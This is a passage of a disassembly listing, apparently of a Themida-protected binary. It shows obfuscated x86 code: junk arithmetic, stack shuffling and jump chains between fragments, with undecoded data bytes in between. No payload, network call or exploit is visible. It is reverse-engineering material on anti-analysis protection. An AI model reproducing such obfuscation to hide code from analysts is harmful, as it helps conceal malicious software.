edx, ebx xchg ebp, edx not ebp xchg ebp, edx push ebx push edx jmp loc_54E6C3 ; --------------------------------------------------------------------------- dw 6159h dd 0F3E9C39Dh, 8FFFFFF3h, 248B2404h, 24048924h, 0FFF3E5E9h dd 5FFA29FFh, 46E9C201h, 31000007h, 0FA8958C7h, 0E9D6015Fh dd 0B0Dh, 2BDh, 5DE90100h, 5C240C87h, 2424D366h, 0F3B8E99Ch dd 0ED81FFFFh, 3106C29h, 0B091E9h, 0C8B6600h, 4EC8324h dd 0E9241489h, 2748h, 4EC8151h, 89000000h, 4812424h, 424h dd 5CE95900h db 9Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_544C9B: ; CODE XREF: Themida_:0054727Ej xor dword ptr [esp], 6DB8191Eh pop ecx xor ecx, 6DB8191Eh mov esi, [esp] jmp loc_54D23C ; --------------------------------------------------------------------------- db 48h, 0F7h, 0D8h dd 7F177F05h, 0EB033542h, 0F7E9FFA7h, 3100003Eh, 0CDE95FFBh dd 6600003Eh, 9C240429h, 4407E9h db 0 ; --------------------------------------------------------------------------- loc_544CD5: ; CODE XREF: Themida_:0054BA62j mov edx, esp add edx, 4 jmp loc_54915D ; --------------------------------------------------------------------------- aZass db 'Zés',0 db 0D9h dd 6673C180h, 19EB805Bh, 0C380CB00h, 240C8B19h, 4C481h dd 7E90000h db 0A7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_544D03: ; CODE XREF: Themida_:00544A17j pop ecx jmp loc_548988 ; --------------------------------------------------------------------------- loc_544D09: ; CODE XREF: Themida_:0054A836j add esp, 4 push 3AF9h mov [esp], edi mov edi, 2F457BC8h push 2C5Ah mov [esp], edi jmp loc_54A7B2 ; --------------------------------------------------------------------------- dw 3487h dd 34895C24h, 2474FF24h, 24348B04h, 4C481h, 48F0000h, 0F2E0E924h dd 4B9FFFFh, 1000000h, 0FF5659CEh, 8B042474h db 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54EA19 ; --------------------------------------------------------------------------- dw 0C601h dd 0AA8FE9h db 0 ; --------------------------------------------------------------------------- loc_544D61: ; CODE XREF: Themida_:00548770j not ecx or ecx, 0BB130DAh push 1230h mov [esp], edi mov edi, 6B2F03BAh shl edi, 2 xor edi, 5747321Fh sub ecx, edi pop edi add esi, 63EF4325h add esi, ecx sub esi, 63EF4325h pop ecx add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_54D005 ; --------------------------------------------------------------------------- dw 3C89h dd 4BF24h, 0FE010000h, 268575Fh, 0FF000000h, 0E95F2434h dd 0FFFFF2DFh ; --------------------------------------------------------------------------- loc_544DBC: ; CODE XREF: Themida_:0054FB88j and edx, 221F4385h push ecx jmp loc_54754C ; --------------------------------------------------------------------------- loc_544DC8: ; CODE XREF: Themida_:005483AEj push eax jmp loc_54564B ; --------------------------------------------------------------------------- loc_544DCE: ; CODE XREF: Themida_:0054DE0Fj add esp, 4 sub esp, 4 mov [esp], ebp push esp mov ebp, [esp] add esp, 4 push eax mov eax, 4 add ebp, 34372232h add ebp, eax sub ebp, 34372232h pop eax add ebp, 4 jmp loc_54D6E5 ; --------------------------------------------------------------------------- aBimflUrhoUzbsz db 'ëmFL',0Ah db 'URho{ŇUZBé§',7,0 align 2 dw 0C681h dd 44665AB1h, 0C4E6815Ah, 810E512Fh, 626E85F6h, 5EF00160h dd 2D07352Dh, 5D82956h, 562D0735h, 3247052Dh, 66AC6866h dd 0C890000h, 72B9B924h, 0C83123CFh, 50240C8Bh, 6768E089h dd 8900005Bh, 75BD242Ch, 0D1377517h, 3AC581EDh, 8170746Ch dd 0D10810C5h, 396FE973h, 8B660000h, 4BE92404h, 5C000044h dd 0E9242C89h, 19D2h ; --------------------------------------------------------------------------- loc_544E80: ; CODE XREF: Themida_:005480B8j push ebx jmp loc_54827F ; --------------------------------------------------------------------------- aRUQSsn db 'RşU)ď{én',0 dd 4C48300h, 0E92434FFh, 720Dh, 83242489h, 0FF042404h dd 0E95F2434h, 9FAAh, 4BB0F66h, 6BE99C24h, 8BFFFFF1h, 66642424h dd 5FE90289h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_544EC3: ; CODE XREF: Themida_:0054B56Aj xor edi, 19586E4Fh sub edi, 0FACB9E4Bh add ebp, edi jmp loc_54E990 ; --------------------------------------------------------------------------- dw 895Ch dd 0BB532414h, 7ED14861h, 95FBE9h db 0 ; --------------------------------------------------------------------------- loc_544EE5: ; CODE XREF: Themida_:005480D0j push dword ptr [esp] mov edi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_54FB8D ; --------------------------------------------------------------------------- dd offset loc_41D368 align 4 dd 89243C89h, 46850E7h, 58000000h, 77C0EF81h, 0C7012603h dd 77C0C781h, 48B2603h, 4C48124h, 0E9000000h, 0EC5h ; --------------------------------------------------------------------------- loc_544F2C: ; CODE XREF: Themida_:0054FE7Bj push edi push 80000h pop edi and eax, edi mov edi, [esp] push esi push 6388h mov [esp], esp loc_544F41: ; DATA XREF: ___:off_435720o jmp loc_54DB44 ; --------------------------------------------------------------------------- loc_544F46: ; CODE XREF: Themida_:0054570Fj mov esi, 283B05DCh push esi push eax push 35D42D7Ch pop eax xor eax, 1DEF2884h mov esi, eax pop eax push esi mov eax, [esp] add esp, 4 mov esi, [esp] jmp loc_54E14B ; --------------------------------------------------------------------------- dw 2FBFh dd 8340B640h, 0C781FFC7h, 337BEA59h, 3C8BF929h, 4C48324h dd 6E68D9F7h, 0E900000Fh, 5612h, 2C8B5455h, 4C48324h, 4C581h dd 0BF570000h, 36261EE7h, 0E902EFC1h, 0FFFFFBF9h, 5366D800h dd 4EC8152h, 89000000h, 4CB02404h, 0B5518A04h, 46F9E919h dd 5580000h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push ebp mov ebp, 38E550Bh mov esi, ebp mov ebp, [esp] jmp loc_547C81 ; --------------------------------------------------------------------------- dw 28Fh dd 2E3AE9h, 4E3C100h, 81CAE94Bh, 0D35C0000h, 0E99C2404h dd 34CCh, 0E904C483h, 0A0F9h, 8904EC83h, 4868243Ch, 5F2FF719h dd 6BD5C381h, 0FB010798h, 284FE9h db 0 ; --------------------------------------------------------------------------- loc_545029: ; CODE XREF: Themida_:005453EAj xor ebx, 49F95897h push edi mov edi, ebx mov ebp, edi pop edi pop ebx shl ebp, 6 dec ebp add ebp, 45A39F01h mov edx, ebp mov ebp, [esp] add esp, 4 and eax, edx mov edx, [esp] jmp loc_547AC1 ; --------------------------------------------------------------------------- dw 0F766h aSci db 'Őé',0 align 2 dw 75BEh dd 1E1A4F0h, 0F00159CEh, 8124348Bh, 4C4h, 40500h, 0FF500000h dd 58042474h, 8B24048Fh, 2E92424h, 8000004Fh, 0F280B3E2h dd 0FFEA80EDh, 0CAFEDAF6h, 8000B753h, 0EF80D9CFh, 80C7FECDh dd 0F780FFEFh, 382468F6h, 0C890000h, 80F7B124h, 82E99DE9h dd 66000089h, 5324048Bh, 5652E389h, 1E4C7ABEh, 55E6D120h dd 2D5E1DBDh, 5DEE213Ch, 3B71C681h, 0F289500Fh, 4EC815Eh dd 89000000h, 0E0BD242Ch, 0F725D87Bh, 0F7DDF7D5h, 0B5CD81D5h dd 816D536Bh, 736CE3C5h, 5DEA0144h, 266AF281h, 0C28138C0h dd 66301D59h, 0AADDE9h, 0E9FD0100h, 1A43h ; --------------------------------------------------------------------------- loc_545110: ; CODE XREF: Themida_:0054C99Fj sub eax, esi mov esi, [esp] add esp, 4 add ebp, eax pop eax jmp loc_5460A7 ; --------------------------------------------------------------------------- db 1 dd 55C581D5h, 0E9619414h, 3E1Bh ; --------------------------------------------------------------------------- loc_545130: ; CODE XREF: Themida_:00544455j mov ebp, esp add ebp, 4 jmp loc_546AEE ; --------------------------------------------------------------------------- db 0B9h, 0AFh, 0ADh dd 0D129A232h, 58C1315Ah, 8B1C4F09h, 8950240Ch, 405E0h dd 4050000h, 0E9000000h, 0A2DDh, 34FFD501h, 0EC815A24h dd 4, 89243C89h, 4C781E7h, 81000000h, 4C7h, 243C8700h dd 2616E9h db 0 ; --------------------------------------------------------------------------- loc_545185: ; CODE XREF: Themida_:0054D362j xchg eax, [esp] jmp loc_549C0A ; --------------------------------------------------------------------------- loc_54518D: ; CODE XREF: Themida_:00547553j pop ecx add edi, edx pop edx push 416Fh mov [esp], edi mov esi, [esp] add esp, 4 pop edi add [edi+24h], esi push dword ptr [esp] jmp loc_54CCFB ; --------------------------------------------------------------------------- db 81h dd 0FFFFFFC5h, 2339E9FFh, 0C8B0000h, 72F3E924h, 0C7810000h dd 6B0D3990h, 970CF781h, 9BE97E53h, 66000091h, 56240C8Bh dd 8904EC83h, 4812424h, 424h, 24348B00h, 81E78957h, 4C7h dd 4C78300h, 5C243C87h, 16CBD55h, 0EDC122B3h, 5F2AE905h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545202: ; CODE XREF: Themida_:0054BF99j mov [esp], edx push esp pop edx push esi jmp loc_54E7F2 ; --------------------------------------------------------------------------- db 1, 0C5h, 8Bh dd 89572404h, 1B60E9E7h, 4BE0000h, 1000000h, 0E9042474h dd 283Ah, 0E95AD588h, 5CABh ; --------------------------------------------------------------------------- loc_545230: ; CODE XREF: Themida_:00549B82j push ebx jmp loc_54E5EF ; --------------------------------------------------------------------------- dw 0C8Bh aSwc db '$éWc',0 align 2 a3S?r db '\3,$é?',0 dw 8100h aUqbnwsnt db 'îďBnwét',0 align 2 dw 15Dh aISn db 'ë]éN$',0 dw 5300h dd 0EC81E389h, 4, 89241489h, 4C281E2h, 81000000h, 4EAh dd 24143300h, 0E9241431h, 1FA7h, 6600BA52h, 3FE93C36h dd 8800004Ch, 82D7E9C3h, 30BB0000h, 0E93ED83Eh, 1CF9h dd 0B151665Ch, 66CB0006h, 66F32859h, 2806B652h, 665A66F3h dd 7C01E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_5452B6: ; CODE XREF: Themida_:0054A405j add ebp, 4 push esi mov esi, 4 sub ebp, esi pop esi push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_54E3A0 ; --------------------------------------------------------------------------- loc_5452D3: ; CODE XREF: Themida_:00547F53j mov [esp], edi jmp loc_54624F ; --------------------------------------------------------------------------- db 59h dd 5304C483h, 0B9515B54h, 39F53525h, 3B9DE949h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5452EE: ; CODE XREF: Themida_:0054E6D7j push edx mov edx, 10D761E2h not edx xor edx, 0CC62CF57h mov edi, edx pop edx and edi, 79376BF0h sub edi, 229A42EFh jmp loc_54AC2A ; --------------------------------------------------------------------------- dd 37CF6852h, 34FF4364h, 24148B24h, 9165E9h, 4BE95100h dd 6400001Dh, 2B60F66h, 0FFF953E9h, 0EC685DFFh, 89000034h dd 74FF240Ch, 34FF0424h, 240C8B24h, 4C481h, 0C4830000h dd 0A86BE904h dword_545350 dd 4330000h, 0D3665C24h, 0E99C2404h, 0FFFFECC2h, 89B35366h ; DATA XREF: ___:off_43CCB4o dd 0D828622Ch, 8B666204h, 8957241Ch, 4064E9E7h, 48F0000h dd 0F7665C24h, 0BE6866E1h, 1489664Bh, 9C506624h, 0FFEC95E9h dd 0A7BB53FFh, 0E913CE42h, 799Bh, 1EC6E95Fh, 0E95C0000h dd 1A29h, 28C68h, 1426E900h, 4BE0000h, 0E9000000h, 29CFh ; --------------------------------------------------------------------------- loc_5453B8: ; CODE XREF: Themida_:00546C18j neg ecx not ecx add ecx, 0F4388039h add ebx, ecx pop ecx push ecx mov ecx, 4 sub ebx, ecx pop ecx xchg ebx, [esp] pop esp mov [esp], edx push 272Ch mov [esp], ebp push ebx push 5BDA54B0h pop ebx sub ebx, 8CA2BADh jmp loc_545029 ; --------------------------------------------------------------------------- db 59h dd 0F6FE981h, 0D9F73BD3h, 0CF86E981h, 0CE890468h, 5EF30159h dd 21A7E9h, 0BEE95500h db 57h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54540F: ; CODE XREF: Themida_:00548F05j mov [esp], ecx push 1082h mov [esp], esi jmp loc_54C398 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 59166800h, 4890000h, 4B824h, 0EF810000h, 6CA61F92h dd 6FE9C729h, 8900001Dh, 74FF243Ch, 86E90424h, 5C000070h dd 2904C483h, 0E99C2404h, 0FFFFEBCAh, 0F82854B7h, 4C5CE9h dd 81E98100h, 1612047h, 0E88359C8h, 24048704h, 9B80E95Ch dd 0F1290000h, 5224348Bh, 0C281E289h, 4, 4C281h, 14870000h dd 0C875C24h, 14895C24h, 30E8B224h, 0C6E95AD3h, 0B200001Ch dd 80EA80D9h, 808EF280h, 0EAC0BEE2h, 0BF28006h, 89CCE9h dd 0C8B60F00h, 7B0C68h, 36CE900h, 0C7810000h, 4, 1638E952h dd 1580000h, 72E95AD3h, 0B9000089h, 2, 0F0E9CF01h db 0ABh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5454E3: ; CODE XREF: Themida_:0054C833j jmp loc_544022 ; --------------------------------------------------------------------------- dd 861FE95Fh, 5A580000h, 0F800A12Ch, 8B66A104h, 0C481241Ch dd 2, 0E9C4B252h, 19F8h ; --------------------------------------------------------------------------- loc_545508: ; CODE XREF: Themida_:0054DC9Bj xchg edx, [esp] jmp loc_54C78E ; --------------------------------------------------------------------------- dd 8BD8005Ch, 0C483241Ch, 0EC815104h, 4, 53241489h, 0B31EB551h dd 59EB28B5h, 535BDE88h, 5E9F788h db 15h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545537: ; CODE XREF: Themida_:005493C3j push ebx mov ebx, 0B7A5162h shl ebx, 7 add ebx, 3E444A4Ch shl ebx, 7 sub ebx, 5D357C58h sub ebp, ebx pop ebx push dword ptr [esp] pop esi add esp, 4 add ebp, 2 xchg ebp, [esp] pop esp cmp cl, al pushf jmp loc_54F73A ; --------------------------------------------------------------------------- db 0FFh dd 83592434h, 148B04C4h, 4C48324h, 0FFEAA5E9h, 58C689FFh dd 815EF101h, 4C1h, 240C8700h, 60D8E9h db 0 ; --------------------------------------------------------------------------- loc_545591: ; CODE XREF: Themida_:00548B08j pop esp mov [esp], esi mov esi, 19AE2CEFh sub [esp+4], esi mov esi, [esp] add esp, 4 jmp loc_5490E1 ; --------------------------------------------------------------------------- loc_5455AC: ; CODE XREF: Themida_:0054BF88j add ecx, 47691188h neg ecx jmp loc_54B774 ; --------------------------------------------------------------------------- db 81h, 0C2h, 0 dd 0C1392E3Ah, 0F28102EAh, 323D46BFh, 0A0E9D589h, 59000069h dd 0DEF68058h, 0F1885150h, 0A4E9C888h, 81000038h, 2EAh dd 24148700h, 30A5E9h, 4EB8100h, 0E9000000h, 2848h, 8104C483h dd 343F46EBh, 81C3291Dh, 343F46C3h, 0BDB9511Dh, 0E939FB57h dd 8B8Ch ; --------------------------------------------------------------------------- loc_545614: ; CODE XREF: Themida_:00545829j push 57D0h mov [esp], eax sub esp, 4 jmp loc_5462E5 ; --------------------------------------------------------------------------- dd 66240C89h, 6605D8B9h, 0E9C16649h, 3CA9E902h, 48F0000h dd 0CBE95C24h, 56000019h, 0FA16E568h, 0DCE95E26h db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_54564B: ; CODE XREF: Themida_:00544DC9j dec dword ptr [esp] pop eax sub eax, 1A02D273h add ebx, eax pop eax pop esi jmp loc_54461D ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 42D2F75Ch, 732068h, 242C8900h, 43684EBDh, 0E6C58145h dd 91073CFh, 242C8BEAh, 8601E9h, 3E2C000h, 0D5885166h dd 265BE9h, 2C68300h, 0E9243487h, 0FFFFFE78h ; --------------------------------------------------------------------------- loc_545698: ; CODE XREF: Themida_:00549528j sub esp, 4 mov [esp], ebp push 2 pop ebp add ecx, ebp jmp loc_54C549 ; --------------------------------------------------------------------------- dw 305Bh dd 0C8B66E8h, 0E3E95724h, 8000006Fh, 0C1E9FFEBh, 81000034h dd 0B359F3C5h, 81D5293Dh, 0B359F3EDh, 0E9555A3Dh, 2B14h dd 24048B54h, 4C481h, 4050000h, 56000000h, 2BEh, 2E90E900h dd 55580000h, 46ACE9h, 24143100h, 0E9241433h, 0FFFFF8FAh ; --------------------------------------------------------------------------- loc_545704: ; CODE XREF: Themida_:0054E2F2j xor [esp], eax jmp loc_5493A6 ; --------------------------------------------------------------------------- loc_54570C: ; CODE XREF: Themida_:0054ACFAj mov [esp], esi jmp loc_544F46 ; --------------------------------------------------------------------------- dd 96E9D1F6h, 5600009Bh, 2BEh, 51E95500h db 6Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_545727: ; CODE XREF: Themida_:00545F2Aj mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_54EA32 ; --------------------------------------------------------------------------- aSG db ')Íé,',0 align 2 dw 0C8Bh dd 0FDFE924h, 8B660000h, 0EC83240Ch, 242C8904h, 6A7CE9h dd 24148B00h, 0FFEC0BE9h, 1C875EFFh, 0F9F65C24h, 0CCB60F66h dd 66056866h, 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFFE89Ah dd 3323F581h, 0EF8964FFh, 0E9FE015Dh, 50E6h, 0C6815E54h dd 4, 0FFF093E9h, 0EFE681FFh, 55044D26h, 81706BDh, 81DDF725h dd 0B97FAACDh, 81DDF738h, 8F4DE3C5h, 8BEE0141h, 51E9242Ch dd 0FF00009Fh, 34FF2434h, 89505824h, 405E0h, 0B9510000h dd 4, 8759C829h, 895C2404h, 0FF54240Ch, 48E92434h db 50h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5457F3: ; CODE XREF: Themida_:0054F0E9j shl ecx, 8 inc ecx sub ecx, 91F7B5CBh xor ecx, ebp pop ebp and eax, ecx push dword ptr [esp] pop ecx jmp loc_54F31D ; --------------------------------------------------------------------------- loc_54580B: ; CODE XREF: Themida_:0054906Aj add esp, 4 pop ecx push 6B95h mov [esp], ebp push 8000h push dword ptr [esp] jmp loc_54B9A8 ; --------------------------------------------------------------------------- loc_545827: ; CODE XREF: Themida_:005466AFj xor eax, ecx jmp loc_545614 ; --------------------------------------------------------------------------- dw 0C89h dd 0E7ECE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_545836: ; CODE XREF: Themida_:005497CAj mov ecx, ebp jmp loc_54DFEA ; --------------------------------------------------------------------------- db 0ADh, 5, 0FDh dd 5147926h, 3A462E05h, 52DD801h, 563A462Eh, 3018A8BEh dd 4EC831Ch, 0B9240C89h, 40D20DDh, 41AEC181h, 0F1815163h dd 4FBF3AEAh, 743CF181h, 47E92FE4h db 3Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_545877: ; CODE XREF: Themida_:005492F7j sub bh, 63h sub al, bh jmp loc_54B0FB ; --------------------------------------------------------------------------- loc_545881: ; CODE XREF: Themida_:0054FA1Fj mov [edi+20h], eax pop eax pop ecx sub esp, 4 mov [esp], eax push esi mov esi, 0 mov eax, esi pop esi push ebx mov ebx, eax push ecx mov ecx, 24h add ecx, edi mov [ecx], ebx pop ecx pop ebx push dword ptr [esp] pop eax jmp loc_54BF2F ; --------------------------------------------------------------------------- dd 4C381h, 84E90000h, 0BEFFFFFDh, 3702081Ch, 7415E9h db 0 ; --------------------------------------------------------------------------- loc_5458C5: ; CODE XREF: Themida_:0054FD48j shl edx, 1 jmp loc_545A53 ; --------------------------------------------------------------------------- dd 0E9240431h, 300Ah, 0E95BDA31h, 0FFFFE993h, 0BB53E289h dd 4, 57EBE9h, 2DF02900h, 39B0466Eh, 98043405h, 2434FF1Bh dd 8324348Bh, 895104C4h, 0B2E957E1h, 0B2000052h, 8BD188ABh dd 89502414h, 405E0h, 0C0830000h, 24048704h, 2B05E9h, 0E9D93100h dd 3DE5h, 3AE9C329h, 5300000Dh, 0FFE99BE9h, 81F701FFh dd 4437A4C7h, 98E95E05h db 7Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_545943: ; CODE XREF: Themida_:0054B631j push ebp jmp loc_54DACB ; --------------------------------------------------------------------------- db 88h, 0D8h, 5Bh dd 4A240D04h, 72E92D24h, 0E9FFFFEBh, 0FFFFE6C6h, 3C00BD55h dd 1BB8393Eh, 1FE2329h, 782D5DE8h, 0C14BB806h, 0C50D06E8h dd 35136011h, 13EEB5FBh, 5286EE81h, 62E97E58h, 6600001Ah dd 0E924048Bh, 78C1h, 348B5456h, 0E2895224h, 4138E9h, 0C8B6600h dd 0E2895224h, 479DE9h db 0 ; --------------------------------------------------------------------------- loc_5459A9: ; CODE XREF: Themida_:0054B6CBj mov esi, [esp] jmp loc_548630 ; --------------------------------------------------------------------------- loc_5459B1: ; CODE XREF: Themida_:00547F26j mov edx, [esp] add esp, 4 add edx, 1062156Bh sub edx, 6C4BC60Ah push esi jmp loc_54967D ; --------------------------------------------------------------------------- loc_5459CC: ; CODE XREF: Themida_:0054BBF1j shr ebp, 5 and ebp, 5DC909D2h add ebp, 0C2DDC51Ah add edx, ebp jmp loc_54FFB5 ; --------------------------------------------------------------------------- dw 8166h dd 6629B4EBh, 0FFD4C381h, 75F9E9h, 0C3815D00h, 4, 401DE9h dd 81C32900h, 5D0842C3h, 0B60F6618h, 4EC8300h, 89241489h dd 4EC83E2h, 0BB241C89h, 4, 6358C281h, 5EE93AC4h, 3100005Ah dd 0E9F531EEh, 0FFFFE75Eh ; --------------------------------------------------------------------------- loc_545A30: ; CODE XREF: Themida_:0054660Dj jmp loc_544022 ; --------------------------------------------------------------------------- loc_545A35: ; CODE XREF: Themida_:0054469Bj mov eax, 4 sub ecx, eax jmp loc_54FB44 ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 0E9000000h, 1B0Ch ; --------------------------------------------------------------------------- loc_545A4C: ; CODE XREF: Themida_:0054733Bj sub esi, edx jmp loc_549EB0 ; --------------------------------------------------------------------------- loc_545A53: ; CODE XREF: Themida_:005458C7j xchg esi, [edi+24h] push ebp mov ebp, 7C465412h or ebp, 716D58BAh shl ebp, 4 add ebp, 1 neg ebp add ebp, 0D6F5CBA2h add esi, ebp pop ebp push ebx mov ebx, 24h add ebx, 21C2137Ah add ebx, edi push edx mov edx, 21C2137Ah sub ebx, edx pop edx push ecx mov ecx, 0 add ecx, ebx jmp loc_54D7E9 ; --------------------------------------------------------------------------- db 5Ch dd 24148966h, 22E668h, 7FABE900h, 0ED830000h, 242C8704h dd 242C895Ch, 0C5815D54h, 4, 3982E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545ABE: ; CODE XREF: Themida_:00548D3Ej xor edx, 598F01F4h jmp loc_54FDA1 ; --------------------------------------------------------------------------- db 80h, 0F5h, 68h a0syhO db '0čYhÚO',0 align 4 dd 3A04E9h, 0F7DEF700h, 93C3E9D6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545AE2: ; CODE XREF: Themida_:00548886j mov eax, [esp] push esi mov esi, esp add esi, 4 jmp loc_54A948 ; --------------------------------------------------------------------------- db 0BBh align 8 dd 1388C301h, 0FF2434FFh, 525B2434h, 88E9E289h, 100005Dh dd 4CC9E9CBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_545B12: ; CODE XREF: Themida_:0054AC32j pop edi xor edx, eax pop eax loc_545B16: ; CODE XREF: Themida_:00547F0Bj ; Themida_:005484A6j push edx push ebx jmp loc_54EFD0 ; --------------------------------------------------------------------------- loc_545B1D: ; CODE XREF: Themida_:00546CF4j sub ebp, 4 xchg ebp, [esp] jmp loc_54888B ; --------------------------------------------------------------------------- dd 0FFE4F5E9h, 5FFB31FFh, 0B4586856h, 295E6C3Dh, 5CE95EF3h dd 5C000003h, 9C2424D2h, 0A139E9h, 241C8700h, 275E685Ch dd 34890000h, 57E68924h, 3326BD55h, 0BE5664FFh, 1, 0E95EF501h dd 0FFFFFC1Ch ; --------------------------------------------------------------------------- loc_545B6C: ; CODE XREF: Themida_:00548BFFj mov ecx, [esp] push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx push esp jmp loc_54D34D ; --------------------------------------------------------------------------- db 0F7h dd 0AEF81DFh, 57779F56h, 16242C81h, 59150C62h, 6216C181h dd 19E9150Ch, 310000A1h, 7C12E9EAh, 3C870000h, 24248B24h dd 2474FF55h, 5CB9E904h, 0E5890000h, 4C581h, 0DFE90000h dd 0E9FFFFFEh, 0FFFFE456h ; --------------------------------------------------------------------------- loc_545BCC: ; CODE XREF: Themida_:0054F2ACj sub esp, 4 mov [esp], ebx mov bh, 0F9h jmp loc_5495B4 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0BE56DFF7h, 7E39758Eh, 0E95EF721h, 0FFFFFF9Bh, 6866352Ch dd 89662ACCh, 0EC812414h, 4, 0E9240489h, 58FDh ; --------------------------------------------------------------------------- loc_545C04: ; CODE XREF: Themida_:00547806j xor esi, ebp pop ebp or edx, esi pop esi push eax jmp loc_54E6D6 ; --------------------------------------------------------------------------- dd 9BEB815Eh, 504CA333h, 53291BB8h, 8BC3012Ah, 0C4812404h dd 4, 0EB81C301h, 2A53291Bh, 12A7E9h, 0D6BD5500h, 8109B146h dd 0A551E7F5h, 0FFC58130h, 0F7FFFFFFh, 0C1DDF7DDh, 0BE5608E5h dd 8100BDAh, 3226C581h, 0F5011531h, 3226ED81h, 348B1531h dd 0E6895624h, 4C681h, 0B9510000h, 323F760Eh, 1853E949h dd 24890000h, 24048324h, 0C5815D04h, 4, 1AED68h, 0A39FE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545C92: ; CODE XREF: Themida_:0054747Fj mov edx, [esp] add esp, 4 sub edi, 12B612A0h and eax, edi mov edi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp jmp loc_54EDE8 ; --------------------------------------------------------------------------- db 87h, 4, 24h dd 0FF24248Bh, 0E99C240Ch, 0FFFFE352h, 0EE7A8CBBh, 0CCC38125h dd 2914D5E8h, 815B5BDAh, 2EAh, 64166800h, 14890000h, 2474FF24h dd 24148B04h, 8F04C483h, 248B2404h, 4896624h, 0FEC1E924h dd 1C33FFFFh, 8B665C24h, 71E9240Ch, 8100007Ch, 46541CF7h dd 8BF90128h, 0C481243Ch, 4, 8704C183h, 0E1E9240Ch db 26h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545D2F: ; CODE XREF: Themida_:0054AF99j pop edx sub ecx, 1 sub esp, 4 mov [esp], edi jmp loc_54817B ; --------------------------------------------------------------------------- db 0BDh, 9Bh, 53h dd 0F7455DCBh, 81D5F7D5h, 0EC5B5FC5h, 0F7ED8156h, 0E9B4B7AEh dd 9FFEh, 5E665166h, 55665966h, 8B665666h, 0C481242Ch dd 2, 0E9565E66h, 8B3Bh, 9BCDE95Fh, 66B70000h, 515BF828h dd 0F99E9h, 4C48100h, 81000000h, 723A242Ch, 4812667h, 0C57EE24h dd 24042953h, 4EC81h, 1FE90000h, 59000003h, 83241C8Bh dd 0CE0104C4h, 2C68359h, 8B243487h, 0F662424h, 9C2404ABh dd 0FFE259E9h, 2B951FFh, 1000000h db 0CEh, 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54D657 ; --------------------------------------------------------------------------- loc_545DDA: ; CODE XREF: Themida_:005445E5j sub edx, 63567BAEh add edx, ebx jmp loc_54B7B9 ; --------------------------------------------------------------------------- db 80h dd 0D53096EAh, 0FFE431E9h, 4EC81FFh, 89000000h, 7BE92434h db 43h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545DFF: ; CODE XREF: Themida_:0054B664j shr ecx, 6 push edx mov edx, 3DDDD7B7h xor ecx, edx jmp loc_546A6C ; --------------------------------------------------------------------------- db 89h dd 4C281E2h, 83000000h, 2C8904ECh, 4BD24h, 0EA010000h db 8Bh, 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xchg edx, [esp] pop esp jmp loc_544022 ; --------------------------------------------------------------------------- loc_545E43: ; CODE XREF: Themida_:00549EC5j add esp, 4 or eax, eax jmp loc_549648 ; --------------------------------------------------------------------------- dd 0EF091DB9h, 919B813h, 0C83113EFh, 35C18159h, 1058911h dd 35E981C1h, 0E9058911h, 18F9h ; --------------------------------------------------------------------------- loc_545E70: ; CODE XREF: Themida_:0054DBD2j push dword ptr [esp] pop ecx add esp, 4 sub esp, 4 mov [esp], esi jmp loc_549518 ; --------------------------------------------------------------------------- db 5Eh, 87h, 1Ch dd 0EC835C24h, 24148904h, 6E1EB951h, 0A9E962FAh, 100003Bh dd 78685BDEh, 89000046h, 0FFB82404h, 0E9FFFFFFh, 4E89h dd 5306E9C1h, 0E8AECBBBh, 5BD93153h, 5659CF89h, 0E875C9BEh dd 3472E97Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_545ECA: ; CODE XREF: Themida_:0054EB54j add ebp, 4 jmp loc_548EC8 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 aPirhit db '$Pŕht',0 dd 242C8900h, 4BDh, 69FE0500h, 922D0F87h, 116DF18h, 0E504E9E8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_545EFA: ; CODE XREF: Themida_:0054625Cj pop eax sub edi, 11A01647h push esi jmp loc_5480E8 ; --------------------------------------------------------------------------- aItsm db 'âéŹ+',0 align 2 dw 0CA29h dd 83240C8Bh, 0E95704C4h, 64D4h, 5C240433h, 240C8B66h dd 2467E9h db 0 ; --------------------------------------------------------------------------- loc_545F29: ; CODE XREF: Themida_:0054CDA1j push ebp jmp loc_545727 ; 